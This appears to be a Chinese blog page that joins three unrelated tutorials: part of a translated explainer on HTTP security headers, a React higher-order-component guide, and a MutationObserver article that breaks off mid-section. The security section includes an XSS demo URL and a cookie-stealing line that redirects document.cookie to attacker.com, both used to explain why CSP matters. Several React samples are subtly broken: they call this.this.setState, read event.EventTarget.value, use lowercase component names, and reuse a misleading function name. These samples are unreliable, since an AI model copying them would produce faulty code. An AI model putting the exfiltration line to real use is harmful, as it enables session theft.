域名可以被移除,但是 Chrome 的更新需要几个月的时间才能让用户看到变化,我们不能保证其他浏览器也一样。不要请求包含,除非您确定能够长期支持整个站点及其所有子域的HTTPS。

这是因为供应商不能保证所有用户都使用最新版本的浏览器,而你的站点已从列表中删除。仔细考虑,并根据你对 HSTS 的信心程度和长期支持 HSTS 的能力做出决定。

HTTP Public Key Pinning (HPKP)

HTTP 公钥固定是一种安全机制,它的工作原理是通过响应头或者 <meta> 标签告诉浏览器当前网站的证书指纹,以及过期时间等其它信息。未来一段时间内,浏览器再次访问这个网站必须验证证书链中的证书指纹,如果跟之前指定的值不匹配,即便证书本身是合法的,也必须断开连接。

目前 Firefox 35+ 和 Chrome 38+ 已经支持, HPKP 基本格式如下:

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

各字段含义如下:

  • pin-sha256 即证书指纹,允许出现多次(实际上最少应该指定两个);
  • max-age 和 includeSubdomains 分别是过期时间和是否包含子域,它们在 HSTS(HTTP Strict Transport Security)中也有,格式和含义一致;
  • report-uri用来指定验证失败时的上报地址,格式和含义跟 CSP(Content Security Policy)中的同名字段一致;
  • includeSubdomains 和 report-uri 两个参数均为可选;

报头使用证书的散列列出服务器将使用哪些证书(在本例中是其中的两个证书),并包含附加信息,比如这个指令的生存时间(max-age=3600)和其他一些细节。遗憾的是,我们没有必要深入了解我们可以用公钥钉固定做什么,因为这个功能已经被 Chrome 弃用了——这是一个信号,这一信号表明它的采用很快就会直线下降。

Chrome 的决定并不是不理性的,而仅仅是与公钥固定相关的风险的结果。如果wq丢失了证书,或者只是在测试时犯了一个错误,你的网站将无法访问之前访问过该网站的用户(在max-age指令期间,通常是几周或几个月)。

由于这些潜在的灾难性后果,HPKP 的使用率一直非常低,并且出现了由于错误配置导致大型网站无法访问的事件。综上所述,Chrome 认为没有 HPKP提 供的保护,用户会过得更好——安全研究人员并不完全反对这一决定。

Expect-CT

虽然 HPKP 已经被弃用,但是一个新的头介入进来,防止欺骗 SSL 证书被提供给客户端:Expect-CT

Expect-CT 头允许站点选择性报告和/或执行证书透明度 (Certificate Transparency) 要求,来防止错误签发的网站证书的使用不被察觉。当站点启用 Expect-CT 头,就是在请求浏览器检查该网站的任何证书是否出现在公共证书透明度日志之中。

CT 基本格式如下:

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

max-age

该指令指定接收到 Expect-CT 头后的秒数,在此期间用户代理应将收到消息的主机视为已知的 Expect-CT 主机。

如果缓存接收到的值大于它可以表示的值,或者如果其随后计算溢出,则缓存将认为该值为2147483648(2的31次幂)或其可以方便表示的最大正整数。

report-uri="" 可选

该指令指定用户代理应向其报告 Expect-CT 失效的 URI。

当 enforce 指令和 report-uri 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。

enforce 可选

该指令示意用户代理应强制遵守证书透明度政策(而不是只报告合规性),并且用户代理应拒绝违反证书透明度政策的之后连接。

enforce 指令和 report-uri 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。

CT 计划的目标是比以前使用的任何其他方法更早、更快、更精确地检测错误颁发的或恶意的证书(以及流氓证书颁发机构)。

通过选择使用 Expect-CT 头,你可以利用这一优势来改进应用程序的安全状态。

X-Frame-Options

想象一下,在你的屏幕前弹出这样一个网页:

只要你点击这个链接,你就会发现你银行账户里的钱都不见了,发生了什么事?

你是点击劫持攻击的受害者。

攻击者将你引导至他们的网站,该网站显示了一个非常有吸引力的点击链接。 不幸的是,他还在页面中嵌入了带了链接地址 your-bank.com/transfer?amount=-1&[[email protected]的 iframe,且通过设置透明度为 0%来隐藏它。

然后发生的事情是想到点击原始页面,试图赢得一个全新的悍马,这时浏览器上iframe上捕获了一个点击,这是一个确认转移资金的危险点击。

大多数银行系统要求你指定一次性 PIN 码来确认交易,但你的银行没有赶上时间且你的所有资金都已被转走了。

这个例子非常极端,但应该让你了解点击劫持攻击 可能带来的后果。 用户打算单击特定链接,而浏览器将触发嵌入 iframe 中“不可见”页面上的点击。

幸运的是,浏览器为这个问题提供了一个简单的解决方案: X-Frame-Options (XFO),它允许您人定是否可以将应用程序作为 iframe 嵌入外部网站。由于 Internet Explorer 8 的普及,XFO 于2009 年首次引入,现在仍然受到所有主流浏览器的支持。

它的工作原理是,当浏览器看到 iframe 时,加载它并在渲染它之前验证它的 XFO 是否允许它包含在当前页面中。

X-Frame-Options 有三个值:

  • DENY:表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
  • SAMEORIGIN:表示该页面可以在相同域名页面的 frame 中展示。
  • ALLOW-FROM uri :表示该页面可以在指定来源的 frame 中展示。

换一句话说,如果设置为 DENY,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。

包含最严格的 XFO 策略的 HTTP 响应示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...

为了展示启用 XFO 时浏览器的行为,我们只需将示例的 URL 更改为 http://localhost:7888/?xfo=onxfo=on 参数告诉服务器在响应中包含 X-Frame-Options: deny,我们可以看到浏览器如何限制对 iframe 的访问:

XFO被认为是防止基于框架的点击劫持攻击的最佳方法,直到数年后出现了另一种报头,即内容安全策略**(Content Security Policy,简称CSP)**。

Content Security Policy (CSP)

内容安全策略(CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

为使CSP可用, 你需要配置你的网络服务器返回 Content-Security-Policy HTTP头部 ( 有时你会看到一些关于 X-Content-Security-Policy 头部的提法, 那是旧版本,你无须再如此指定它)。

要了解 CSP 如何帮助我们,我们首先应该考虑攻击媒介。 假设我们刚刚构建了自己的 Google 搜索,这是一个带有提交按钮的简单输入文本。

这个 web 应用程序没有什么神奇的功能。只是,

  • 显示一个表单

  • 让用户执行搜索

  • 显示搜索结果和用户搜索的关键字

当我们执行简单搜索时,这就是应用程序返回的内容:

我们的应用程序非常理解我们的搜索,并找到了一个相关的图像。如果我们深入研究源代码,可以在github.com/odino/wasec/tree/master/xss.com 上找到,我们很快就会发现应用程序存在安全问题,因为用户搜索的任何关键字都直接打印在提供给客户端的 HTML 响应中:

var qs = require('querystring')
var url = require('url')
var fs = require('fs')
require('http').createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ''
  let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))
}).listen(7888)
<html>
  <body>
    <h1>Search The Web</h1>
    <form>
      <input type="text" name="search" value="__KEYWORD__" />
      <input type="submit" />
    </form>
    <div id="results">
      __RESULTS__
    </div>
  </body>
</html>

这带来了一个糟糕的后果。攻击者可以创建一个特定的链接,在受害者浏览器中执行任意JavaScript。

如果你有时间和耐心在本地运行示例,你将能够快速了解 CSP 的强大功能。 我添加了一个启用CSP的查询字符串参数,因此我们可以尝试在启用 CSP 的情况下导航到恶意 URL:

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

正如你在上面的例子中所看到的,我们已经告诉浏览器,我们的 CSP 策略只允许脚本包含在当前 URL 的同一来源,我们可以通过展开 URL 和查看响应头来验证:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

由于 XSS 攻击是通过内联脚本(直接嵌入到HTML内容中的脚本)进行的,所以浏览器友好地拒绝执行它,以保证用户的安全。想象一下,如果攻击者不是简单地显示一个警告对话框,而是通过一些JavaScript代码将重定向到自己的域,代码可能如下:

window.location = `attacker.com/${document.cookie}`

他们本来可以窃取所有用户的 cookie,其中可能包含高度敏感的数据(下一篇文章中有更多内容)。

CSP的一个有趣的变化是 report-only 模式。可以不使用 Content-Security-Policy 头文件,而是首先使用 Content-Security-Policy-Report-Only 头文件测试 CSP 对你的网站的影响,方法是告诉浏览器简单地报告错误,而不阻塞脚本执行,等等。

通过报告,你可以了解要推出的 CSP 策略可能导致的重大更改,并相应地进行修复。 我们甚至可以指定报告网址,浏览器会向我们发送报告。 以下是 report-only 策略的完整示例:

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

CSP 策略本身可能有点复杂,如下例所示:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

本策略定义了以下规则:

  • 可执行脚本(例如JavaScript)只能从 scripts.example.com 加载

  • 图像可以从任何源(img-src: *)

  • 视频或音频内容可以从两个来源加载: medias.example.commedias.legacy.example.com

正如你所看到的,策略可能会变得很长,如果我们想确保为用户提供最高的保护,这可能会成为一个相当乏味的过程。不过,编写全面的 CSP 策略是向 web 应用程序添加额外安全层的重要一步。

X-XSS-Protection

HTTP X-XSS-Protection 响应头是Internet Explorer,Chrome和Safari的一个功能,当检测到跨站脚本攻击 (XSS)时,浏览器将停止加载页面。虽然这些保护在现代浏览器中基本上是不必要的,当网站实施一个强大的 Content-Security-Policy 来禁用内联的 JavaScript ('unsafe-inline')时, 他们仍然可以为尚不支持 CSP 的旧版浏览器的用户提供保护。

它的语法和我们刚才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

XSS 是最常见的攻击类型,其中未经过验证的服务器打印出未经过处理的输入,而且这个标题真正发挥作用。 如果你想亲眼看到这个,我建议你试试 github.com/odino/wasec/tree/master/xss 上的例子。

xss=on 附加到 URL 上,它显示了当 XSS 保护时浏览器做了什么 打开了。 如果我们在搜索框中输入恶意字符串,例如 <script> alert('hello')</ script>,浏览器将拒绝执行脚本,并解释其决定背后的原因:

The XSS Auditor refused to execute a script in
'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'
because its source code was found within the request.
The server sent an 'X-XSS-Protection' header requesting this behavior.

更有趣的是,当网页没有指定任何 CSP 或 XSS 策略时,Chrome 的默认行为,我们可以通过将 XSS =off 参数添加到URL (http://localhost:7888/?search=%3Cscript%3Ealert%28% %27hello%27% %29%3C%2Fscript%3E&xss=off) 来测试这个场景:

令人惊讶的是,Chrome 非常谨慎,它将阻止页面渲染,使得 XSS 的攻击非常难以实现。

Feature policy

2018 年 7 月,安全研究员 Scott Helme 发表了一篇非常有趣的博客文章,详细介绍了正在开发的一个新的安全标头: Feature-Policy

目前只有很少的浏览器(在撰写本文时是Chrome和Safari)支持这个标头,它允许我们定义当前页面中是否启用了特定的浏览器功能。使用与 CSP 非常相似的语法,比如下面这个:

Feature-Policy: vibrate 'self'; push *; camera 'none'

如果我们对此策略如何影响页面可用的浏览器 API 仍有疑问,我们可以简单地剖析它:

  • vibrate 'self':这将允许当前页面使用vibration API 和同一源上的任何嵌套浏览上下文(iframe)

  • push *:当前页面和任何 iframe 都可以使用 push notification API

  • camera 'none':当前页面和任何嵌套上下文(iframe)都拒绝访问 camera API

feature policy 的历史可能很短,但是抢先一步也无妨。例如,如果你的网站允许用户自拍或录制音频,那么使用限制其他上下文通过你的页面访问 API 的策略将非常有益。

X-Content-Type-Options

有时候,从安全的角度来看,聪明的浏览器功能最终会伤害我们。 一个明显的例子是 MIME嗅探(MIME-sniffing),这是一种由 Internet Explorer 推广的技术。

MIME 嗅探是浏览器自动检测(和修复)正在下载的资源的内容类型的能力。 例如,我们要求浏览器渲染图片 /awesome-picture.png ,但服务器在向浏览器提供图像时设置了错误的类型(例如,Content-Type:text/plain),这通常会导致浏览器无法正确显示图像。

为了解决这个问题,IE 竭尽全力实现 MIME 嗅探功能:当下载资源时,浏览器会“扫描”它,如果它会检测到资源的内容类型不是由在 Content-Type 标头中的服务器,它将忽略服务器发送的类型并根据浏览器检测到的类型解释资源。

现在,想象一下,托管一个网站,允许用户上传自己的图像,并想象用户上传包含 JavaScript 代码的 /test.jpg 文件。 看看这是怎么回事? 上传文件后,该网站会将其包含在自己的 HTML 中,当浏览器尝试渲染文档时,它会找到用户刚刚上传的“图像”。 当浏览器下载图像时,它会检测到它是一个脚本,并在受害者的浏览器上执行它。

为了避免这个问题,我们可以设置 X-Content-Type-Options:nosniheader,它完全禁用 MIME 嗅探:通过这样做,我们告诉浏览器,我们完全知道某些文件可能在类型和内容方面不匹配,浏览器不应该担心这个问题。我们知道我们在做什么,所以浏览器不应该试图猜测,可能对我们的用户构成安全威胁。

Cross-Origin Resource Sharing (CORS)

在浏览器上,通过 JavaScript,HTTP 请求只能在同一个源上触发。 简而言之,example.com 的AJAX 请求只能连接到 example.com

这是因为你的浏览器包含攻击者的有用信息 - Cookie,通常用于跟踪用户的会话。 想象一下,如果攻击者在 win-a-hummer.com 上设置恶意页面,会立即向 your-bank.com 发出 AJAX 请求。

如果你在银行的网站上登录,则攻击者可以使用你的凭据执行 HTTP 请求,可能会窃取信息,或者更糟糕的是,将你的银行帐户清除掉。

不过,在某些情况下可能需要执行跨域 AJAX 请求,这就是浏览器实现跨跨资源共享(Cross Origin Resource Sharing, CORS)的原因,这是一组允许执行跨域请求的指令。

CORS 背后的机制非常复杂,我们不可能通读整个规范,所以我将重点介绍 CORS 的“简化”版本。

现在,你只需要知道,通过使用 Access-Control-Allow-Origin 头,应用程序告诉浏览器可以接收来自其他域的请求。

这个宽松的形式设置 Access-Control-Allow-Origin: *,它允许任何域访问我们的应用程序,但是我们可以通过使用 Access-Control-Allow-Origin: https://example.com 添加我们想要列入白名单的 URL 来限制它。

如果我们看看 github.com/odino/wasec/tree/master/cors 上的示例,我们可以清楚地看到浏览器如何阻止访问单独来源的资源。 我已经设置了一个示例,用于从 test-corstest-cors-2 发出 AJAX 请求,并将操作结果打印到浏览器。 当 test-cors-2 后面的服务器被指示使用 CORS 时,页面按预期工作。 尝试导航到 http://cors-test:7888/?cors=on

但是当我们从 UR L中删除 cors 参数时,浏览器会介入并阻止我们访问响应的内容:

我们需要理解的一个重要方面是浏览器执行了请求,但阻止了客户端访问它。 这非常重要,因为如果我们的请求会对服务器产生任何副作用,它仍然会使我们容易受到攻击。 想象一下,例如,如果我们的银行允许通过简单地调用 my-bank.com/transfer?amount=1000&from=me&to=attacker 来转移资金,那将是一场灾难!

正如我们在本系列第一篇讲到,GET 请求应该是幂等的,但如果我们尝试用 POST 请求会发生什么? 幸运的是,在示例中包含了这个场景,通过导航到 http://cors-test:7888/?method=POST:来尝试:

浏览器发出**“预检”**请求,而不是直接执行我们的 POST 请求,这可能会导致服务器出现严重问题。 这只是对服务器的 OPTIONS 请求,要求它验证我们的来源是否被允许。 在这种情况下,服务器没有正面响应,因此浏览器停止进程,我们的 POST 请求永远不会到达目标。

这告诉我们一些事情:

  • CORS 不是一个简单的规范,很多场景需要牢记,你可以很容易地混淆预检请求等功能的细微差别。

  • 永远不要暴露通过 GET 改变状态的 API。 攻击者可以在没有预检请求的情况下触发这些请求,这意味着根本没有保护。

根据经验,我发现自己更愿意设置代理,以便将请求转发到正确的服务器,而不是使用 CORS。这意味着运行在 example.com 上的应用程序可以在 example.com/_proxy/other.com 设置一个代理,这样所有位于 _proxy/other.com/* 下的请求都可以代理到 other.com

X-Permitted-Cross-Domain-Policies

与 CORS 非常相似的是,X-Permitted-Cross-Domain-Policies 针对 Adobe 产品(即Flash和Acrobat)的跨域策略。

我不会详细介绍,因为这是一个针对非常特定用例的标头。长话短说,Adobe 产品通过请求目标域根目录中的 cross-domain.xml 文件处理跨域请求,并且 X-Permitted-Cross-Domain-Policies 定义了访问该文件的策略。

听起来复杂吗?我只建议添加一个 X-Permitted-Cross-Domain-Policies: none 并忽略希望使用 Flash 跨域请求的客户端。

Referrer-Policy

在我们职业生涯的开始,我们可能都犯了同样的错误。使用 Referer 头在我们的网站上实现安全限制。如果头部在我们定义的白名单中包含一个特定的 URL,我们将允许用户访问。

Referrer-Policy 头文件诞生于 2017 年初,目前受到所有主流浏览器的支持,它可以告诉浏览器,它应该只屏蔽 Referer 头文件中的URL,或者完全省 略URL,从而缓解这些隐私问题。

Referrer-Policy 一些最常见的值是:

  • no-referrer:整个 Referer 首部会被移除。访问来源信息不随着请求一起发送。

  • origin:在任何情况下,仅发送文件的源作为引用地址。例如 https://example.com/page.html 会将 https://example.com/ 作为引用地址。

  • same-origin:对于同源的请求会发送引用地址,但是对于非同源请求则不发送引用地址信息。

值得注意的是,Referrer-Policy 有很多变体(trict-originno-referrer-when-downgrade等等),但是我上面提到的这些变体可能会涵盖你的大多数用例。如果你希望更好地理解你可以使用的每一个变体,可以访问 OWASP dedicated page 了解。

Origin 标头与 Referer 非常相似,因为它是由浏览器在跨域请求中发送的,以确保允许调用者访问不同域上的资源。 Origin 标头由浏览器控制,因此恶意用户无法篡改它。 你可能会将其用作Web应用程序的防火墙:如果 Origin 位于我们的白名单中,请让请求通过。

但有一点需要考虑的是,其他 HTTP 客户端(如c URL)可以呈现自己的来源:简单的 curl -H "Origin: example.com" api.example.com 将使所有基于源的防火墙规则效率低下...... ...... 这就是为什么你不能依靠 Origin(或者我们刚才看到的 Referer)来构建防火墙来阻止恶意客户端。

有状态 HTTP:使用 cookie 管理会话

本文应该向我们介绍一些有趣的 HTTP 标头,让我们了解它们如何通过特定于协议的功能强化我们的Web 应用程序,以及主流浏览器的一些帮助。

在下一篇文章中,我们将深入研究HTTP协议中最容易被误解的特性之一: cookie

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

原文:https://medium.freecodecamp.org/secure-your-web-application-with-these-http-headers-fd66e0367628

你的点赞是我持续分享好东西的动力,欢迎点赞!

欢迎加入前端大家庭,里面会经常分享一些技术资源。

React高级组件精讲

React高级组件精讲

高阶函数是以函数为参数,并且返回也是函数的的函数。类似的,高阶组件(简称HOC)接收 React 组件为参数,并且返回一个新的React组件。高阶组件本质也是一个函数,并不是一个组件。高阶组件的函数形式如下:

const EnhanceComponent = higherOrderComponent(WrappedComponent)
通过一个简单的例子解释高阶组件是如何复用的。现在有一个组件MyComponent,需要从LocalStorage中获取数据,然后渲染到界面。一般情况下,我们可以这样实现:

import React, { Component } from 'react'

class MyComponent extends Component {
  componentWillMount() {
    let data = localStorage.getItem('data');
    this.setState({data});
  }
  render() {
    return(
      <div>{this.state.data}</div>
    )
  }
}

代码很简单,但当其它组件也需要从LocalStorage 中获取同样的数据展示出来时,每个组件都需要重写一次 componentWillMount 中的代码,这显然是很冗余的。下面让我人来看看使用高阶组件改写这部分代码。

import React, { Component } from 'react'

function withPersistentData(WrappedComponent) {
  return class extends Component {
    componentWillMount() {
      let data = localStorage.getItem('data');
      this.setState({data});
    }
    render() {
      // 通过{ ...this.props} 把传递给当前组件属性继续传递给被包装的组件
      return <WrappedComponent data={this.state.data} {...this.props}/>
    }
  }
}

class MyComponent extends Component{
  render() {
    return <div>{this.props.data}</div>
  }
}

const MyComponentWithPersistentData = withPersistentData(MyComponent);

withPersistentData 就是一个高阶组件,它返回一个新的组件,在新组件中 componentWillMount 中统一处理从 LocalStorage 中获取数据逻辑,然后将获取到的数据通过 props 传递给被包装的组件 WrappedComponent,这样在WrappedComponent中就可以直接使用 this.props.data 获取需要展示的数据,当有其他的组件也需要这段逻辑时,继续使用 withPersistentData 这个高阶组件包装这些组件。

二、使用场景

高阶组件的使用场景主要有以下4中:

  1. 操纵 props
  2. 通过 ref 访问组件实例
  3. 组件状态提升
  4. 用其他元素包装组件

1.操纵 props

在被包装组件接收 props 前, 高阶组件可以先拦截到 props, 对 props 执行增加、删除或修改的操作,然后将处理后的 props 再传递被包装组件,一中的例子就是属于这种情况。

2.通过 ref 访问组件实例

高阶组件 ref 获取被包装组件实例的引用,然后高阶组件就具备了直接操作被包装组件的属性或方法的能力。

import React, { Component } from 'react'

function withRef(wrappedComponent) {
  return class extends Component{
    constructor(props) {
      super(props);
      this.someMethod = this.someMethod.bind(this);
    }

    someMethod() {
      this.wrappedInstance.comeMethodInWrappedComponent();
    }

    render() {
      // 为被包装组件添加 ref 属性,从而获取组件实例并赋值给 this.wrappedInstance
      return <wrappedComponent ref={(instance) => { this.wrappedInstance = instance }} {...this.props}/>
    }
  }
}

当 wrappedComponent 被渲染时,执行 ref 的回调函数,高阶组件通过 this.wrappedInstance 保存 wrappedComponent 实例引用,在 someMethod 中通过 this.wrappedInstance 调用 wrappedComponent 中的方法。这种用法在实际项目中很少会被用到,但当高阶组件封装的复用逻辑需要被包装组件的方法或属性的协同支持时,这种用法就有了用武之地。

3.组件状态提升

高阶组件可以通过将被包装组件的状态及相应的状态处理方法提升到高阶组件自身内部实现被包装组件的无状态化。一个典型的场景是,利用高阶组件将原本受控组件需要自己维护的状态统一提升到高阶组件中。

import React, { Component } from 'react'

function withRef(wrappedComponent) {
  return class extends Component{
    constructor(props) {
      super(props);
      this.state = {
        value: ''
      }
      this.handleValueChange = this.handleValueChange.bind(this);
    }

    handleValueChange(event) {
      this.this.setState({
        value: event.EventTarget.value
      })
    }

    render() {
      // newProps保存受控组件需要使用的属性和事件处理函数
      const newProps = {
        controlledProps: {
          value: this.state.value,
          onChange: this.handleValueChange
        }
      }
      return <wrappedComponent {...this.props} {...newProps}/>
    }
  }
}

这个例子把受控组件 value 属性用到的状态和处理 value 变化的回调函数都提升到高阶组件中,当我们再使用受控组件时,就可以这样使用:

import React, { Component } from 'react'

function withControlledState(wrappedComponent) {
  return class extends Component{
    constructor(props) {
      super(props);
      this.state = {
        value: ''
      }
      this.handleValueChange = this.handleValueChange.bind(this);
    }

    handleValueChange(event) {
      this.this.setState({
        value: event.EventTarget.value
      })
    }

    render() {
      // newProps保存受控组件需要使用的属性和事件处理函数
      const newProps = {
        controlledProps: {
          value: this.state.value,
          onChange: this.handleValueChange
        }
      }
      return <wrappedComponent {...this.props} {...newProps}/>
    }
  }
}


class  SimpleControlledComponent extends React.Component {
  render() {
    // 此时的 SimpleControlledComponent 为无状态组件,状态由高阶组件维护
    return <input name="simple" {...this.props.controlledProps}/>
  }
}

const ComponentWithControlledState = withControlledState(SimpleControlledComponent);


三、参数传递

高阶组件的参数并非只能是一个组件,它还可以接收其他参数。例如一中是从 LocalStorage 中获取 key 为 data的数据,当需要获取数据的 key不确定时,withPersistentData 这个高阶组件就不满足需要了。我们可以让它接收一个额外参数来决定从 LocalStorage 中获取哪个数据:

import React, { Component } from 'react'

function withPersistentData(WrappedComponent, key) {
  return class extends Component {
    componentWillMount() {
      let data = localStorage.getItem(key);
      this.setState({ data });
    }
    render() {
      // 通过{ ...this.props} 把传递给当前组件属性继续传递给被包装的组件
      return <WrappedComponent data={this.state.data} {...this.props} />
    }
  }
}

class MyComponent extends Component {
  render() {
    return <div>{this.props.data}</div>
  }
}
// 获取 key='data' 的数据
const MyComponent1WithPersistentData = withPersistentData(MyComponent, 'data');

// 获取 key='name' 的数据
const MyComponent2WithPersistentData = withPersistentData(MyComponent, 'name');

新版本的 withPersistentData 满足获取不同 key 值的需求,但实际情况中,我们很少使用这种方式传递参数,而是采用更加灵活、更具能用性的函数形式:

HOC(...params)(WrappedComponent)

HOC(...params) 的返回值是一个高阶组件,高阶组件需要的参数是先传递 HOC 函数的。用这种形式改写 withPersistentData 如下(注意:这种形式的高阶组件使用箭头函数定义更为简洁):

import React, { Component } from 'react'

const withPersistentData = (key) => (WrappedComponent) => {
  return class extends Component {
    componentWillMount() {
      let data = localStorage.getItem(key);
      this.setState({ data });
    }
    render() {
      // 通过{ ...this.props} 把传递给当前组件属性继续传递给被包装的组件
      return <WrappedComponent data={this.state.data} {...this.props} />
    }
  }
}

class MyComponent extends Component {
  render() {
    return <div>{this.props.data}</div>
  }
}
// 获取 key='data' 的数据
const MyComponent1WithPersistentData = withPersistentData('data')(MyComponent);

// 获取 key='name' 的数据
const MyComponent2WithPersistentData = withPersistentData('name')(MyComponent);


四 、继承方式实现高阶组件

前面介绍的高阶组件的实现方式都是由高阶组件处理通用逻辑,然后将相关属性传递给被包装组件,我们称这种方式为属性代理。除了属性代理外,还可以通过继承方式实现高阶组件:通过 继承被包装组件实现逻辑的复用。继承方式实现的高阶组件常用于渲染劫持。例如,当用户处于登录状态时,允许组件渲染,否则渲染一个空组件。代码如下:

function withAuth(WrappedComponent) {
  return class extends WrappedComponent {
    render() {
      if (this.props.loggedIn) {
        return super.render();
      } else {
        return null;
      }
    }
  }
}

根据 WrappedComponent的 this.props.loggedIn 判读用户是否已经登录,如果登录,就通过 super.render()调用 WrappedComponent 的 render 方法正常渲染组件,否则返回一个 null, 继承方式实现高阶组件对被包装组件具有侵入性,当组合多个高阶使用时,很容易因为子类组件忘记通过 super调用父类组件方法而导致逻辑丢失。因此,在使用高阶组件时,应尽量通过代理方式实现高阶组件。

以上主要参考 《React 进阶之路》这本书

10.JavaScript是如何工作的:使用 MutationObserver 跟踪 DOM 的变化

image

Web 应用程序在客户端变得越来越重,原因很多,例如需要更丰富的 UI 来容纳更复杂的应用程序提供的内容,实时计算等等。复杂性的增加使得在 Web 应用程序生命周期的每个给定时刻都很难知道 UI 的确切状态。

而当你在搭建某些框架或者库的时候,甚至会更加困难,例如,前者需要根据 DOM 来作出反应并执行特定的动作。

概述

Mutation Observer API 用来监视 DOM 变动。DOM 的任何变动,比如节点的增减、属性的变动、文本内容的变动,这个 API 都可以得到通知。

概念上,它很接近事件,可以理解为 DOM 发生变动就会触发 Mutation Observer 事件。但是,它与事件有一个本质不同:事件是同步触发,也就是说,DOM 的变动立刻会触发相应的事件;Mutation Observer 则是异步触发,DOM 的变动并不会马上触发,而是要等到当前所有 DOM 操作都结束才触发。

这样设计是为了应付 DOM 变动频繁的特点。举例来说,如果文档中连续插入1000个 <li>元素,就会连续触发1000个插入事件,执行每个事件的回调函数,这很可能造成浏览器的卡顿;而 Mutation Observer 完全不同,只在 1000 个段落都插入结束后才会触发,而且只触发一次。

Mutation Observer有以下特点:

  • 它等待所有脚本任务完成后,才会运行,即采用异步方式

  • 它把 DOM 变动记录封装成一个数组进行处理,而不是一条条地个别处理 DOM 变动

  • 它即可以观察发生在 DOM 节点的所有变动,也可以观察某一类变动

为什么要要监听 DOM?

在很多情况下,MutationObserver API 都可以派上用场。例如:

  • 你希望通知 Web 应用程序访问者,他当前所在的页面发生了一些更改。

  • 你正在开发一个新的 JavaScript 框架,需要根据 DOM 的变化动态加载 JavaScript 模块。

  • 也许你正在开发一个所见即所得(WYSIWYG) 编辑器,试图实现撤消/重做功能。通过利用 MutationObserver API,你可以知道在任何给定的点上进行了哪些更改,因此可以轻松地撤消这些更改。

image

这些只是 MutationObserver 可以提供帮助的几个例子。

MutationObserver 用法

在应用程序中实现 MutationObserver 相当简单。你需要通过传入一个函数来创建一个 MutationObserver 实例,每当有变化发生,这个函数将会被调用。函数的第一个参数是变动数组,每个变化都会提供它的类型和已经发生的变化的信息。

var mutationObserver = new MutationObserver(function(mutations) {
  mutations.forEach(function(mutation) {
    console.log(mutation);
  });
});

这个被创建的对象有三个方法:

  • observe  — 启动监听
  • disconnect — 用来停止观察
  • takeRecords — 返用来清除变动记录,即不再处理未处理的变动。

observe()

observe 方法用来启动监听,它接受两个参数。

  1. 第一个参数:所要观察的 DOM 节点
  2. 第二个参数:一个配置对象,指定所要观察的特定变

下面的片段展示了如何开始启动监听(observe  ):

// 开始侦听页面的根 HTML 元素中的更改。
mutationObserver.observe(document.documentElement, {
  attributes: true,
  characterData: true,
  childList: true,
  subtree: true,
  attributeOldValue: true,
  characterDataOldValue: true
});

现在,假设 DOM 中有一些非常简单的 div:

<div id="sample-div" class="test"> Simple div </div>

使用 JQuery 来移除这个 div 上的 class:

$("#sample-div").removeAttr("class");

正如我们已经开始观察到的,在调用 mutationObserver.observe(…) 之后,将在控制台中看到相应 MutationRecord 的日志:

image

这个是由移除 class 属性导致的变化。

MutationRecord 对象包含了DOM的相关信息,有如下属性:

**type:**观察的变动类型(attribute、characterData或者childList)
**target:**发生变动的 DOM 节点
**addedNodes:**新增的 DOM 节点
**removedNodes:**删除的 DOM 节点
**previousSibling:**前一个同级节点,如果没有则返回 null
**nextSibling:**下一个同级节点,如果没有则返回 null
**attributeName:**发生变动的属性。如果设置了attributeFilter,则只返回预先指定的属性。
**oldValue:**变动前的值。这个属性只对 attribute 和 characterData 变动有效,如果发生 childList 变动,则返回 null

最后,为了在任务完成后停止观察 DOM,可以执行以下操作:

mutationObserver.disconnect();

现在,MutationObserver 已经被广泛支持:

image

备择方案

MutationObserver 在之前还没有的,那么在 MutationObserver 还没出现之前,开发者采用什么方案呢?

这是几个可用的其他选项:

  • 轮询(Polling)

  • MutationEvents

  • CSS animations

轮询(Polling)

最简单和最简单的方法是轮询。使用浏览器 setInterval 方法,可以设置一个任务,定期检查是否发生了任何更改。当然,这种方法会显著降低web 应用程序/网站的性能。

MutationEvents

在2000年,MutationEvents API 被引入。虽然很有用,但在 DOM中 的每一次更改都会触发改变事件,这同样会导致性能问题。现在 MutationEvents API 已经被弃用,很快现代浏览器将完全停止支持它。

image

CSS animations

